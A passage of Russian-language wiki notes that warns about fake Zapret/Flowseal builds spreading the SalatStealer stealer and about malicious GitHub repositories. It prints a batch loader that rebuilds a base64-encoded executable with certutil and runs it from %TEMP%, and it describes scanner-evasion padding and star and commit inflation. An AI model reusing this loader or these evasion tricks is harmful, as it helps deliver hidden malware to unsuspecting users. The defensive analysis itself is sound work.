GitHub-репозитории ссылки на канал отсутствовали, сборка распространялась только через GitHub-релизы (а после приостановки аккаунта — через SourceForge-зеркала). Сам Flowseal общается в чужих чатах, а не ведёт собственный канал. Любой канал с подписью «Официальный канал Flowseal. Создатель обхода дискорда» — самозванец по определению. Чем канал выдаёт себя (наблюдения по веб-превью канала на 10 июля 2026): - **Выдуманная нумерация версий.** Канал раздаёт архивы «FlowsealObhod» версий 2.0.3–4.0.0, тогда как настоящая сборка zapret-discord-youtube на момент приостановки дошла только до **1.9.9d** (это видно по официальному SourceForge-зеркалу). Версий 2.x–4.x у настоящего проекта не существует — их придумали, чтобы казаться «новее оригинала». - **Запароленные архивы.** Rar-файлы по 4,3–5,2 МБ раздаются с паролем `flowseal` — тот самый приём из красных флагов ниже: пароль не даёт антивирусам и автоматике Telegram просканировать содержимое. Настоящая сборка — открытый код без всяких паролей. - **Паразитирование на новости о бане.** После приостановки настоящего аккаунта канал опубликовал пост «Мой GitHub действительно был заблокирован» — то есть использует реальное событие (см. [[flowseal-zapret-discord-youtube-block-july-2026|разбор приостановки]]) как «доказательство» своей подлинности: мол, потому и раздаём в Telegram. Это делает фейк особенно убедительным именно сейчас. - Название архива совпадает с раздачами из каналов выше (`FlowsealObhod1.8.x.rar` с SalatStealer) — по всем признакам это одна и та же сеть. Вот как выглядят посты этого канала (у поста с «версией 3.0.4» — почти 9 тысяч просмотров): ![[flowsealobhod-fake-post-400-2026-07.png]] ![[flowsealobhod-fake-post-304-2026-07.png]] Разберём, что здесь не так — потому что сделано действительно убедительно: - **Технически правдоподобный changelog.** Пост про «версию 4.0.0» упоминает реальные детали настоящей сборки: домен `discord.media`, порты `--filter-tcp=2053,2083,2087,2096,8443`, `service.bat`, обновление IPSet, UDP-стратегию Discord. Это сымитировано (или скопировано) из настоящих релизов zapret-discord-youtube, чтобы пост выглядел компетентно — обычный пользователь отличить не сможет. - **«Windows Defender нужно отключать ДО скачивания, а не после»** — а вот это уже приговор. Ни один легальный проект такого не пишет **никогда**. Единственная причина отключать антивирус до скачивания — чтобы он не успел удалить вирус в момент загрузки. Позиция настоящих проектов противоположная: у настоящего Zapret ложные срабатывания касаются только драйвера WinDivert, и защиту отключать не нужно (см. [[virus|разбор ложных срабатываний]]). - **«ПАРОЛЬ ОТ ОБХОДА: flowseal»** — в каждом посте. Про пароли на архивах см. красные флаги ниже: пароль нужен, чтобы антивирусы и Telegram не просканировали содержимое. - **Посторонние файлы в «changelog-ах».** Упоминаются `helper_audio_converter.exe` и `module_telegram_notify.bat` — зачем сборке обхода блокировок «аудио-конвертер»? Это ещё один неизвестный `.exe` помимо ядра, то есть прямое нарушение главного правила чистой сборки (только один `winws.exe`). - **Балагурный тон** («Хакеры (и хакерши), приветствую вас в столь ранний час (я поэт)!», «Разбираем приколы») — настоящие релизные заметки Flowseal сухие и технические. > [!warning] Содержимое архивов 2.x–4.x отдельно не анализировалось > Вердикт «фейк» для этого канала основан на структурных признаках (самозванство, выдуманные версии, пароли на архивах, паразитирование на бане), а вирус SalatStealer подтверждён анализом архива `FlowsealObhod1.8.1.rar` из связанных каналов. Проверить свежие архивы можно самостоятельно на [VirusTotal](https://www.virustotal.com) — но лучше просто не скачивать. Красные флаги самих каналов: - **Файлы раздаются прямо в Telegram** архивами `FlowsealObhod1.8.x.rar` по 4,5 МБ — настоящий Flowseal распространял сборку через GitHub-релизы, а не вложениями в постах. - **Комментарии закрыты** — под постами доступны только эмодзи-реакции. Предупредить других жертв или спросить «а это точно официальный канал?» просто негде; у настоящего проекта открыты issues и discussions на GitHub. - **Передозировка эмодзи** в каждом пункте «changelog-а» — настоящие релизные заметки Flowseal написаны сухо и технически. - **Запароленные архивы** — частый приём таких раздач (пароль пишут в описании поста): пароль нужен не пользователю, а вирусу — запароленный архив не могут просканировать антивирусы и автоматика Telegram. Старые вирусные «запреты» из [[virus|каталога подделок]] использовали ровно эту схему. Легальным сборкам обхода блокировок пароль на архиве не нужен никогда. > [!tip] Это не значит, что любой Telegram-канал опасен > Сам по себе Telegram — нормальный способ распространения: например, официальные каналы сборки [[Zapret GUI]] ([t.me/bypassblock](https://t.me/bypassblock), [t.me/zapretnetdiscordyoutube](https://t.me/zapretnetdiscordyoutube) — они же перечислены в [[download|инструкции по скачиванию]]) раздают её именно там. Да, фраза «а вот наш канал безопасный» звучит ровно так, как сказал бы и мошенник, — поэтому не верьте на слово никому, а проверяйте признаки, которые подделать трудно: **(1)** канал указан в официальной документации проекта, и ссылки взаимны — репозиторий ссылается на канал, канал на репозиторий; **(2)** комментарии или чат открыты — жертвы могут предупредить других, и никто им не мешает; **(3)** раздаваемые файлы совпадают с релизами на GitHub, которые собираются публично (через GitHub Actions из открытого кода), а не существуют только в Telegram; **(4)** никаких паролей на архивах. У поддельных каналов вроде «Flowseal github ОБХОД ДИСКОРД» всё наоборот по каждому из четырёх пунктов. ### Официальные Telegram-каналы: где безопасно Для контраста с подделками — проверенные официальные каналы проекта [[Zapret GUI]] и связанных ресурсов (все они взаимно слинкованы с официальной документацией и [[download|инструкцией по скачиванию]]): - 🔗 [t.me/bypassblock](https://t.me/bypassblock) — основной канал: скачивание установщика Zapret GUI и новости обходов блокировок; - 🔗 [t.me/zapretnetdiscordyoutube](https://t.me/zapretnetdiscordyoutube) — канал обновлений: dev- и stable-сборки; - 🔗 [t.me/zapretbypass_bot](https://t.me/zapretbypass_bot) — бот, выдающий актуальную сборку по команде `/get_stable`; - 🔗 [t.me/runetvpnyoutubediscord](https://t.me/runetvpnyoutubediscord) — ссылки для Android, macOS и других систем; - 🔗 [t.me/zapretvirus](https://t.me/zapretvirus) — канал «Вирусы в Запрет РЕАЛЬНЫ? (или нет)»: разборы вирусных подделок (источник разбора в этой заметке). > [!example] На пальцах > Это как ларёк с вывеской «Официальный магазин Adidas», стоящий у рынка: вывеска настоящего бренда, товар похож на настоящий (те же коробки, те же ярлыки), но внутри кроссовок — не то, за чем вы пришли. Причём ларёк стоит давно и спокойно ждёт: как только у настоящего магазина «закрылись двери» (пропал GitHub-репозиторий), поток покупателей сам приходит к подделке. ## Что внутри архива Раздаётся архив `FlowsealObhod1.8.1.rar` с папкой `Flowseal`. Содержимое старательно копирует настоящую сборку zapret-discord-youtube: те же `general.bat`, `general (ALT).bat`…`(ALT6).bat`, варианты `FAKE TLS`, `МГТС`, `service.bat`, папки `bin` и `lists`, `LICENSE.txt` и `README.md`. Отличие одно, и оно решающее — файл `Windiver.exe` размером ~3,5 МБ: ![[flowseal-fake-archive-windivert-exe-2026-07.png]] Почему это красный флаг: - В настоящей сборке Zapret ядро — **единственный** исполняемый файл `winws.exe` (правило из [[virus|чек-листа проверки сборок]]: ни одного неизвестного `.exe` в папке быть не должно). - WinDivert в настоящем Zapret — это **драйвер** (`WinDivert.dll` + `WinDivert64.sys`), а не исполняемый файл. «Windiver.exe» — типичная маскировка вируса под знакомое пользователю название компонента. - Размер ~3,5 МБ и упаковка UPX (видна в метках VirusTotal) — упакованный бинарник, скрывающий содержимое. ## Детекты: почему это настоящий вирус, а не «ложняк» Microsoft Defender реагирует на файл именованными вердиктами семейства SalatStealer: ![[flowseal-fake-defender-salatstealer-pz-2026-07.png]] ![[flowseal-fake-defender-salatstealer-smx-2026-07.png]] Иногда тот же файл помечается как Vidar — по наблюдениям канала-источника, это один и тот же зловред, просто разные вендоры относят его к разным семействам: ![[flowseal-fake-defender-vidar-2026-07.png]] На VirusTotal картина однозначная — 55 из 72 вендоров пометили файл как вредоносный, сводная метка `trojan.salat/salatstealer`. Обратите внимание на внутреннее имя файла — `winlogon.exe`: вирус прикидывается системным процессом Windows, отвечающим за вход в систему: ![[flowseal-fake-virustotal-55-72-2026-07.png]] ![[flowseal-fake-virustotal-vendors-salat-2026-07.png]] Важное методическое отличие от ложных срабатываний на настоящий Zapret (подробно — в [[virus|разборе «почему антивирусы ругаются на winws.exe»]]): | Признак | Настоящий Zapret (ложняк) | Этот файл (вирус) | | --- | --- | --- | | Тип вердикта | Эвристика/ИИ: `!ml`-детекты вроде `Bearfoos.B!ml` у 1–5 вендоров | Именованное семейство `SalatStealer` у десятков вендоров | | VirusTotal | Единичные срабатывания | 55/72, сводный вердикт `trojan.salat/salatstealer` | | Имя файла | `winws.exe`, совпадает с открытым исходником | Внутреннее имя `winlogon.exe` — маскировка под системный файл | | Исходный код | Открыт, сборка через GitHub Actions | Закрытый упакованный (UPX) бинарник | Генерические вердикты вроде `Trojan.Packed.20771`, `Static AI - Malicious PE`, `W32/Agent.MP!tr` сами по себе природу файла не доказывают — это лишь маркеры «подозрительный упакованный файл». Доказательная база здесь — именно **согласованные именованные** вердикты SalatStealer у множества независимых вендоров плюс маскировка под `winlogon.exe`. ## Что делать, если запустил - [ ] Отключи интернет и не вводи пароли/коды до очистки — стилер крадёт сохранённые пароли, cookies и сессии из браузеров и мессенджеров. - [ ] Прогони систему полной проверкой Defender или ESET (российские антивирусы для темы обходов блокировок дают много ложных срабатываний — см. [[virus]]). - [ ] Проверь автозагрузку и планировщик задач на незнакомые записи, особенно с «системными» именами вроде `winlogon`. - [ ] С **чистого** устройства смени пароли (почта, Telegram, Discord, банки) и заверши все активные сессии; включи двухфакторную аутентификацию. - [ ] За помощью — в профильный чат [MinerSearch](https://t.me/MinerSearch_chat) или канал `t.me/zapretvirus`. ## Где брать настоящую сборку Пока GitHub-аккаунт Flowseal приостановлен — только официальные зеркала самого Flowseal на SourceForge и альтернативные сборки; полный список с ссылками — в [[flowseal-zapret-discord-youtube-block-july-2026|заметке о приостановке аккаунта]] и в [[download|инструкции по официальным источникам]]. ## 📚 См. также - [[flowseal-zapret-discord-youtube-block-july-2026|🚫 Приостановка аккаунта Flowseal на GitHub (июль 2026)]] — контекст, из-за которого фейки сейчас особенно опасны - [[virus|👾 О вирусах в Zapret: каталог подделок и разбор ложных срабатываний]] — как отличить эвристический «ложняк» от настоящего вируса - [[discord-cdn-fix-fake-repos-june-2026|🪪 Сеть фейковых клонов Bypass Ultimate / discord-cdn-fix]] — та же схема, но через GitHub-репозитории вместо YouTube - [[fixit-arcane-stealer-kaspersky-august-2026|🪤 Fixit — приманка для стилера Arcane]] — ещё одна раздача через ролики на YouTube, но под вымышленным продуктом, а не под чужим именем - [[download|Как скачать Zapret из официальных источников]] - 🔗 [Отчёт VirusTotal по файлу](https://www.virustotal.com/gui/file/fc125455b1e1f2a409699e89ef18bd6bb3b2959bb67ca7a131f470cca6f37858) — 55/72, trojan.salat/salatstealer --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/virus/flowseal-fake-youtube-salatstealer-july-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-11 tags: - zapret - github - вирусы - malware - безопасность - блокировки aliases: - GitHub удалил Zapret репозитории - Почему пропала организация youtubediscord - ZaStoGram удалили с GitHub - Накрученные звёзды GitHub вирусные репозитории - Звёзды на GitHub подделывают - Много коммитов не значит безопасно - Как проверить вирусный zapret на GitHub - Вирус внутри general.bat certutil link: https://github.com/youtubediscord --- # 🎭 GitHub снёс чистые сборки Zapret, а вирусные репозитории оставил (11 августа 2026) ![[github-clean-vs-malware-rkn-chan-2026-08.webp]] > [!info] О чём заметка > 11 августа 2026 с GitHub исчезли сразу несколько **открытых** проектов обхода блокировок: организация `youtubediscord` (сборка [[Zapret GUI]], форки Telegram-клиента ZaStoGram), аккаунт `censorliber`, репозиторий `goshkow/Zapret-Hub`, аккаунт `neiroxgod` с `zapret-ui`. При этом репозитории с малварью под теми же названиями остались доступны — некоторые с сотнями звёзд и десятками тысяч коммитов. Здесь разобрано, что именно проверено в этот день, как в таких репозиториях спрятан вредоносный код и почему привычные признаки доверия — звёзды, форки, история коммитов, файл контрольных сумм — ничего не гарантируют. Каталог самих вирусных сборок и общий чек-лист — в [[virus|заметке о вирусах в Zapret]]. *Куда пропал ZapretGUI с GitHub, почему не открывается youtubediscord, удалили ли Zapret с гитхаба, накрутка звёзд на GitHub, вирус в general.bat — разбор на 11 августа 2026.* ## TL;DR - Проверка HTTP-кодов 11 августа 2026: `github.com/youtubediscord`, `github.com/censorliber`, `goshkow/Zapret-Hub`, `neiroxgod/zapret-ui` отдают **404**; при этом аккаунт `goshkow` жив — значит удалён отдельный репозиторий, а аккаунт `neiroxgod` не существует целиком. - Репозитории с вредоносной начинкой в тот же момент отдавали **200**: `Quantumfirear/zapret-discord-youtube-1-10-0` (200 звёзд), `Enamelzestation/zapret-discord-youtube` (44), `Vanquishervohonor25/Zapret-4.0` (112), `SpikeServiceForce/polaris-vpn-pro-obhod` (2). - В двух из них найден один и тот же приём: `general.bat` / `service.bat` раздут до ~15,8 МБ, внутри — исполняемый файл Windows в кодировке base64, который скрипт декодирует через `certutil -decode` во временную папку и запускает. Папка `bin` при этом идеально чистая — ровно один `winws.exe`, как в оригинале. - Звёзды не значат ничего: у репозитория с payload — 200 звёзд и 51 форк, а сам аккаунт создан **за 1 минуту 39 секунд** до репозитория и имеет одного подписчика. - История коммитов не значит ничего: 12 131 коммит, все с сообщением «Update README.md» и шагом около 43 секунд, уместились в пять дней конца июля 2026. - Контрольные суммы в архиве `Enamelzestation` честные: 41 из 43 сходится, а расхождение приходится ровно на заражённый `service.bat` — инструмент проверки лежал в архиве, им просто никто не воспользовался. - Антивирусы этого почти не видят, и это измеримо: `Zapret-4.0.exe` детектят **51 вендор из 71**, но тот же файл внутри 106-мегабайтного архива — только **10 из 58**. Мусорные «зависимости» нужны не для солидности, а чтобы файл не попал под полный разбор сканером. - К двум полезным нагрузкам приклеена **чужая цифровая подпись Microsoft**, срезанная с компонента Microsoft Edge Update. Она недействительна — вычисленный хэш файлов не совпадает с зашитым в подписи, — но в свойствах файла Windows показывает имя Microsoft Corporation. - Подделка почти целиком состоит из оригинала: у `Quantumfirear` **45 файлов из 47 побайтово совпадают** с официальной сборкой Flowseal, ядро `winws.exe` не подменено, а заражены ровно два файла — и обход блокировок при этом не работает вовсе. - Блокировка по тегам, о которой шла речь ещё в [[flowseal-zapret-discord-youtube-block-july-2026|июльской истории с приостановкой аккаунта Flowseal]], обходится сменой тега: старые теги подчистили, вирусные раздачи переехали на `zapret-discord-youtube-2026`, `zapret-telegram`, `zapret-youtube` и продолжают работать. - Практический вывод команды [[Zapret GUI]]: основной дом проекта перенесён в собственный Forgejo на `git.zapret.moe`, где решение об удалении принимает не автоматика чужой платформы. > [!warning] Что здесь проверено, а что нет > Все HTTP-коды, размеры файлов, даты, числа звёзд и коммитов получены прямыми запросами к GitHub 11 августа 2026 и воспроизводимы командами из раздела «Как проверить это самому». Механика запуска (base64 → `certutil -decode` → `start`), структура извлечённых бинарников, их хэши, состав секций и результат проверки цифровой подписи получены **статическим разбором**: файлы не запускались ни на реальной машине, ни в песочнице. Числа детектов — с публичных отчётов VirusTotal на 11 августа 2026 (для архива указана дата анализа «11 дней назад», для `.exe` — «2 дня назад»), их видно по ссылке на хэш и можно перепроверить. > > Чего здесь **нет**: утверждений о том, что именно делает полезная нагрузка после запуска. Она зашифрована, в открытом виде в ней нет ни адресов серверов, ни следов работы с браузерами — установить функциональность без динамического анализа нельзя, и он здесь не проводился. Всё, что сказано ниже про начинку, — это наблюдаемая структура файлов, а не описание поведения. ## Что исчезло 11 августа 2026 Проверка сводится к одному: открывается страница или отдаёт 404. Ниже — результат запросов, сделанных в течение дня 11 августа 2026. | Адрес | Код | Что это было | | --- | --- | --- | | `github.com/youtubediscord` | 404 | организация команды: сборка [[Zapret GUI]], [[Zapret2/Zapret2\|Zapret2]], магиск-модуль, форки Telegram-клиента ZaStoGram | | `github.com/youtubediscord/ZaStoGram` | 404 | Android-форк Telegram с [[mtproxy/telegram-wss-transport\|нативным WSS-транспортом]] | | `github.com/censorliber` | 404 | личный аккаунт из команды | | `goshkow/Zapret-Hub` | 404 | открытая сборка обхода блокировок | | `neiroxgod/zapret-ui` | 404 | графическая оболочка для Zapret | Разница между двумя последними строками важна, и её видно по API. Аккаунт `goshkow` существует (зарегистрирован 18 марта 2024, шесть публичных репозиториев, 27 подписчиков) — значит удалён **отдельный репозиторий**. А запрос по `neiroxgod` возвращает `Not Found`, то есть недоступен **весь аккаунт** вместе со всем, что человек когда-либо публиковал. Проще говоря: в одном случае платформа убрала конкретный проект, в другом — стёрла человека целиком, вместе с не относящимися к обходу блокировок репозиториями. Так же выглядела ситуация с `youtubediscord` и `censorliber`: пропала не одна страница, а всё сразу. Ни один из этих проектов не раздавал закрытых бинарников: исходники лежали открыто, сборка велась публично. Именно это делает картину дня показательной — удалено то, что можно прочитать глазами, а осталось то, что прочитать нельзя. ## Что осталось работать Те же запросы, сделанные в тот же день по репозиториям с признаками вредоносной раздачи, дали код 200. Данные о звёздах, форках и датах — из API GitHub на 11 августа 2026; они меняются, поэтому зафиксированы явно. | Репозиторий | Звёзды | Форки | Аккаунт создан | Что внутри | | --- | --- | --- | --- | --- | | `Quantumfirear/zapret-discord-youtube-1-10-0` | 200 | 51 | 3 июля 2026 | `general.bat` и `service.bat` по 15,85 МБ с зашитым исполняемым файлом | | `Vanquishervohonor25/Zapret-4.0` | 112 | 11 | 25 марта 2026 | релиз на 111 МБ, где 110 МБ — файлы-пустышки | | `Enamelzestation/zapret-discord-youtube` | 44 | 0 | 1 июня 2026 | копия сборки Flowseal, заражён `service.bat` в релизном архиве | | `SpikeServiceForce/polaris-vpn-pro-obhod` | 2 | 0 | 6 июня 2026 | каркас из пустых папок и трёх одинаковых по размеру `.md`-файлов | Эти четыре — не полный список, а живые примеры, выбранные из потока однотипных раздач. Их роднит то, что все они пережили день, в который удалили открытые проекты. Вот как выглядит страница самого популярного из них — 200 звёзд, 51 форк, 12 131 коммит и язык `Batchfile 99.9 %`: ![[quantumfirear-repo-200-stars-12131-commits-2026-08.png]] Обратите внимание на строку последнего коммита: `Update README.md`, а рядом — счётчик на двенадцать тысяч. К тому, что стоит за этим числом, вернёмся ниже. ## Как прячут вредоносный код: payload внутри `general.bat` Это главная техническая находка разбора, и она ломает старый чек-листовый признак «в папке не должно быть лишних `.exe`». Возьмём `Quantumfirear/zapret-discord-youtube-1-10-0`. Папка `bin` у него безупречна: один `winws.exe` на 203 776 байт, `WinDivert.dll`, `WinDivert64.sys`, `cygwin1.dll` и обычные бинарные заготовки пакетов (`tls_clienthello_www_google_com.bin` и подобные). По правилу «только один `winws.exe`» из [[virus|каталога вирусных сборок]] такая сборка проходит проверку. Аномалия — в размере скриптов. В настоящей сборке `general.bat` весит несколько килобайт: это текстовый файл с параметрами запуска. Здесь `general.bat` и `service.bat` весят по **15 853 872 байта** — почти 16 мегабайт текста. Причина видна в первых строках файла: ```batch @echo off setlocal enabledelayedexpansion set "exe=%TEMP%\Setup-QLPYIttPtWFwtDfK.exe" set "b64=%TEMP%\Setup-QLPYIttPtWFwtDfK.tmp" del "%b64%" 2>nul echo TVqQAAMAAAAEAAAA//8AAIsAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...>> "%b64%" ``` Так это выглядит в редакторе: три строки осмысленного кода, а дальше — экран, забитый base64: ![[quantumfirear-general-bat-base64-payload-2026-08.webp]] Дальше идут 3856 таких строк `echo`, каждая дописывает очередной кусок в один временный файл. А в самом конце скрипта — развязка: ```batch certutil -decode "%b64%" "%exe%" >nul 2>&1 if exist "%exe%" ( del "%b64%" 2>nul start /b "" "%exe%" ) ``` **Проще говоря:** батник несёт в себе целую программу, записанную буквами и цифрами. Строки `echo` собирают из этих букв временный файл, штатная утилита Windows `certutil` превращает его обратно в `.exe`, скрипт запускает результат в фоне и удаляет промежуточный файл. Никакого «лишнего экзешника» в папке нет — он рождается в момент запуска и живёт в `%TEMP%`. Собрав base64 из файла обратно, получаем исполняемый файл Windows на 11 843 928 байт (сигнатура `MZ` в начале — признак формата PE): - SHA-256 `e1ed9cb3476fb2d734ff72481a7ce03733f24c00f64f48a5a1573956f91b61b8` - MD5 `359cb354a9936f5a3470e750047f6b54` Ровно тот же приём — в релизном архиве `Enamelzestation`. Там сам репозиторий выглядит чистым: `general.bat` на 3378 байт, нормальные строки запуска `winws.exe`, README дословно скопирован у Flowseal вместе с его же разделом «ФЕЙКИ». Но релиз `zapret-discord-youtube-1.9.9d.zip` содержит `service.bat` на **15 818 912 байт** с той же конструкцией, только имя временного файла другое — `Setup-HhnxawuQtYPIVnQe.exe`, а извлечённый бинарник весит 11 817 816 байт (SHA-256 `6c3e7b13ad4037e06b5b615a57441bbc00ed6153ae84274d0998566436f7f060`). ![[enamelzestation-service-bat-base64-payload-2026-08.webp]] Разные имена временных файлов и разные хэши при одинаковой механике означают, что раздачи не копируют один файл, а пересобирают его для каждой публикации. Это и есть ответ на вопрос «почему антивирус молчит»: сигнатуры на конкретный образец не работают, а `.bat`-файл формально состоит из безобидных команд Windows. > [!danger] Отсюда следует новое правило проверки > Смотрите не только на состав папки, но и на **размер `.bat`-файлов**. Скрипт запуска Zapret — это текст с аргументами командной строки, его нормальный размер от двух до примерно двадцати килобайт. Батник на мегабайты — не бывает «просто подробным»: в нём что-то зашито. Такой файл нельзя запускать, но можно безопасно открыть блокнотом и посмотреть первые строки. ## Приём второй: раздуть архив пустышками `Vanquishervohonor25/Zapret-4.0` устроен иначе. В репозитории — красивый README с бейджами и таблицей «что разблокирует», `config.json`, `requirements.txt` и файл `zapret.lnk`, внутри которого лежит обычный Python-скрипт (при этом ни одного `.py` в репозитории нет). Скачивание уводит на страницу GitHub Pages того же аккаунта, а оттуда — в релиз. Оформление README не отличить от продуктового лендинга: баннер «ZAPRET · VERSION 4.0», нарисованный терминал с бегущими проверками `youtube.com OK`, показатели «100 % работает локально» и «<3 мс сетевой оверхед»: ![[zapret-4-0-fake-readme-nightcore-exe-2026-08.png]] Присмотритесь к кнопке скачивания. Под ней подписано имя файла — **`nightcore.exe`**, никак не связанное с названием проекта, и размер «~1.5 MB». Реальный релиз, как показано ниже, весит 106 МБ. Расхождение подписи с тем, что отдаётся на самом деле, — уже достаточный повод закрыть страницу. Релизный архив `Zapret-4.0-Release.zip` весит **111 183 435 байт**, то есть 106 МБ. Полезного в нём — один файл `Zapret-4.0.exe` на 1 079 296 байт. Остальные 105 МБ занимает папка `Depends` с десятью «библиотеками» знакомых названий: `avcodec-59.dll`, `opengl32.dll`, `d3dcompiler_47.dll`, `steam_api64.dll`, `msvcp140.dll` и так далее. Ни одна из них библиотекой не является. Утилита определения типа файла видит в них просто данные, а измерение энтропии даёт ровно 8,0 бит на байт при использовании всех 256 значений — это признак случайного набора байтов. Архив к тому же собран без сжатия (метод `store`), чтобы объём не схлопнулся при упаковке. **Проще говоря:** к маленькой программе приложили сто мегабайт мусора с именами настоящих системных библиотек. Выглядит это как «серьёзный продукт с зависимостями», а работает как ширма: у такого архива в пять раз меньше шансов быть распознанным — измеренное сравнение детектов приведено ниже, в разделе «Почему антивирус это пропускает». Вот как папка `Depends` выглядит в проводнике: десять «библиотек» от 4,7 до 20 МБ, ни одна из которых не является библиотекой. ![[zapret-4-0-depends-junk-dlls-2026-08.png]] Единственный содержательный файл архива — `Zapret-4.0.exe` (SHA-256 `63b344e91bdc39e4f4dbc85ec68c19d7463a5ca7c8da687a0d1614c370464833`). Его разбор и вердикты антивирусов — в разделе «Почему антивирус это пропускает» ниже; забегая вперёд, это загрузчик, который 51 вендор из 71 считает трояном. Витрина при этом сделана заметно аккуратнее самой раздачи. Страница GitHub Pages не содержит ни трекеров, ни аналитики, ни просьб отключить антивирус — типичный маркер подделки здесь обходится стороной: ![[zapret-4-0-github-pages-landing-2026-08.png]] Выдают её несоответствия. Инструкция запуска на странице оперирует именем `nightcore.exe` (пять упоминаний), в разделе вопросов рядом фигурируют `zapret.exe` и `python zapret.py` — три разных имени исполняемого файла в одном документе. Заявлено «весь код на GitHub» и лицензия MIT, но исходников в репозитории нет ни одного. Файл `zapret.lnk` — не ярлык Windows, а Python-скрипт, который проверяет права администратора, печатает строки вида «WFP…» и «DPI bypass:…» и уходит в бесконечный сон; заявленная в `requirements.txt` библиотека перехвата пакетов `pydivert` в нём не используется нигде. То есть даже показанный «код» ничего не обходит. Четвёртый пример, `SpikeServiceForce/polaris-vpn-pro-obhod`, доводит имитацию до абсурда: в репозитории лежат папки `handlers`, `middleware`, `services`, `models`, `drivers` — каркас «настоящего проекта» — и три файла `contributing.md`, `license.md`, `security.md` **ровно по 19 807 байт каждый**. Один и тот же текст-наполнитель под тремя именами: даже документацию не стали писать по отдельности. Текст-приманка внутри обещает «военное шифрование», «строгую политику отсутствия логов» и рисует бейджи, которых GitHub никогда не выдаёт: «ЗАГРУЗКИ 65K+», «РЕЙТИНГ 4.8/5», «ВЕРСИЯ 2026»: ![[polaris-vpn-pro-fake-readme-65k-downloads-2026-08.webp]] Эти бейджи — обычные картинки с сервиса `shields.io`, куда любой вписывает произвольный текст. Настоящее число загрузок GitHub показывает только на странице релиза, и подделать его так просто нельзя — а здесь релиз вообще пустой. Программы в этом репозитории нет вообще: в разделе релизов лежит не файл, а картинка-кнопка со ссылкой на сокращатель `bit.ly`. Такую раздачу площадке нечего сканировать, а конечный адрес владелец меняет в своём кабинете, не трогая репозиторий. Разбор этого приёма и родственного репозитория `limitministerflex/obhod-zapreta-whitelists` — в заметке про [[fixit-arcane-stealer-kaspersky-august-2026|приманку Fixit и стилер Arcane]]; там же видно, что оба аккаунта зарегистрированы 6 июня 2026 с интервалом в полторы минуты. ## Почему звёзды, форки и коммиты ничего не доказывают Самый частый аргумент звучит так: «GitHub безопасен, потому что можно посмотреть звёзды и историю коммитов и убедиться, что проект нормальный». Проверка звучит разумно ровно до того момента, когда узнаёшь, сколько стоит подделать каждый из этих сигналов. ### Звёзды У `Quantumfirear/zapret-discord-youtube-1-10-0` — 200 звёзд и 51 форк. Это больше, чем у многих честных инструментов. Рядом стоят данные аккаунта: он создан 3 июля 2026 в 13:14:27 UTC, а репозиторий появился в 13:16:06 UTC — через **1 минуту 39 секунд**. Три публичных репозитория, один подписчик. Двести звёзд на проекте, который существует меньше пяти недель, у автора без истории — это не популярность, а покупка. Рынок накрутки открытый: боты ставят звёзды пачками, и от настоящих они на странице ничем не отличаются, потому что GitHub показывает только число. Форки подделываются так же. 51 форк выглядит как «люди берут код к себе», хотя форк — это одно нажатие кнопки, доступное любому боту. В [[discord-cdn-fix-fake-repos-june-2026|июньском разборе сети клонов]] накрутка видна даже без API: у семи «независимых» репозиториев было ровно по 66 звёзд, у другой партии — ровно по 28. Совпадение до единицы выдаёт закупку одной партией. ### История коммитов Здесь цифра ещё выразительнее. У того же репозитория **12 131 коммит** — история, которая для честного проекта означала бы годы работы команды. Именно она видна на скриншоте страницы репозитория в разделе «Что осталось работать» выше. Смотрим содержание. Последние коммиты идут подряд с сообщением «Update README.md» и интервалом около 43 секунд. Проверка по краям диапазона показывает, что вся эта история умещается в пять дней: коммит номер 12 100 датирован 24 июля 2026, а самый свежий — 29 июля 2026. Первый коммит репозитория сделан 3 июля 2026 — через секунду после создания репозитория. **Проще говоря:** скрипт больше суток подряд правил один и тот же README, чтобы график активности стал зелёным, а счётчик коммитов — четырёхзначным. Никакого кода в этих коммитах нет. Отличить такое от настоящей разработки можно за десять секунд, но для этого нужно открыть саму историю, а не число рядом с ней. Настоящий проект даёт разные сообщения коммитов, разные затронутые файлы и неровный ритм; накрутка — одинаковый текст с равным шагом. Есть у этого автора и второй, более тонкий приём. В соседнем его репозитории `lfwpwcnr` лежит файл `log.txt`, куда 129 коммитов дописали по строке с датой — и даты равномерно распределены по всему 2026 году, причём **49 из них приходятся на ещё не наступившие месяцы**, вплоть до 31 декабря. Календарь вкладов GitHub строит по дате, которую указывает сам автор коммита, поэтому профиль выглядит активным круглый год. Реально всё залито 19 июля 2026 за две минуты. Тот же скрипт в тот же вечер обслужил аккаунт из [[hidemydiscord-loader-august-2026|разбора HideMyDiscord]] — с интервалом в 55 секунд. ### Контрольные суммы С этим сигналом вышла история, которая переворачивает привычный вывод. В архиве `Enamelzestation` лежит `SHA256SUMS.txt` — файл с хэшами всех остальных файлов, 43 строки. Проверка каждой строки даёт следующее: **41 сумма из 43 сходится**. Не сходятся две. Первая — самоссылка файла на самого себя, она не может совпасть по построению и не совпадает даже в оригинальной сборке. Вторая — `./service.bat`: заявлено `d440a916701209b25bb54fa80bae928f7df535ef68ee1f850db8f53e13ba4f41`, фактически `cd6fda79a4abc4353b1946fe4ae4c27900b71d72dcba9f9a1aba9e4c1367dded`. То есть файл контрольных сумм — **не подделка и не декорация**. Это честный `SHA256SUMS.txt`, скопированный вместе со всей сборкой Flowseal 1.9.9d, и заявленная в нём сумма `d440a916…` — настоящая сумма чистого 29-килобайтного `service.bat`. Атакующий подменил скрипт, но не стал пересчитывать список. Инструмент проверки лежал прямо в архиве и прямо указывал на заражённый файл — им просто никто не воспользовался. Это же видно и по датам внутри архива: 42 файла помечены `2026-07-04 21:48`, а `service.bat` — `2026-07-21 18:42`, и лежит он в архиве последним. Готовую чистую сборку взяли и дописали в неё один файл семнадцать дней спустя. Отсюда два вывода, а не один. Первый: **контрольные суммы работают — но только если их проверять**; сам факт их наличия не значит ничего. Второй: сверять хэши нужно с публикацией первоисточника, а не с файлом из того же архива — здесь атакующий поленился, но перегенерировать список — это одна команда, и в следующий раз расхождения не будет. Хэши оригинального ядра — в [[virus#Про хэш-файла|разделе о хэшах]]. ### Сама платформа Остаётся последний слой аргумента — «но это же GitHub, там модерация». События 11 августа 2026 показывают, как эта модерация устроена на практике: под удаление попали открытые проекты, чей код читается глазами, а раздачи с 